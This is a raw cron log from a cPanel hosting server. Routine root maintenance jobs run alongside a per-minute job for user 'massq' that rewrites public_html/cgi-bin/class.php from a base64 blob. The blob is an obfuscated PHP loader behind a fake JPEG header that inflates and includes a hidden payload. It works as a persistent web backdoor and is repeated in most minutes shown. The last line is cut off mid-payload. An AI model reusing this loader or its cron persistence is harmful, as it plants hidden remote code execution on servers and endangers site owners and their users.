Sep  6 02:09:01 server CROND[24415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:09:01 server CROND[24414]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 02:10:01 server CROND[24929]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:10:01 server CROND[24935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:10:01 server CROND[24937]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:10:01 server CROND[24940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:10:01 server CROND[24939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:10:01 server CROND[24936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:10:01 server CROND[24941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:10:01 server CROND[24938]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:11:01 server CROND[25798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:11:01 server CROND[25800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:11:01 server CROND[25799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:12:01 server CROND[26181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:12:01 server CROND[26180]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 02:12:01 server CROND[26182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:12:01 server CROND[26183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:13:01 server CROND[26564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:13:01 server CROND[26565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:13:01 server CROND[26563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:14:01 server CROND[26958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:14:01 server CROND[26959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:14:01 server CROND[26960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:15:01 server CROND[27351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:15:01 server CROND[27352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:15:01 server CROND[27358]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:15:01 server CROND[27360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:15:01 server CROND[27363]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 02:15:01 server CROND[27361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:15:01 server CROND[27359]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 02:15:01 server CROND[27362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:15:01 server CROND[27365]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:16:01 server CROND[28314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:16:01 server CROND[28315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:16:01 server CROND[28316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:17:01 server CROND[28696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:17:01 server CROND[28697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:17:01 server CROND[28698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:18:01 server CROND[29133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:18:01 server CROND[29134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:18:01 server CROND[29135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:19:01 server CROND[29522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:19:01 server CROND[29523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:19:01 server CROND[29524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:20:01 server CROND[29911]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:20:01 server CROND[29913]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:20:01 server CROND[29915]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:20:01 server CROND[29920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:20:01 server CROND[29923]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 02:20:01 server CROND[29924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:20:01 server CROND[29916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:20:01 server CROND[29927]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:20:01 server CROND[29921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:21:01 server CROND[30861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouL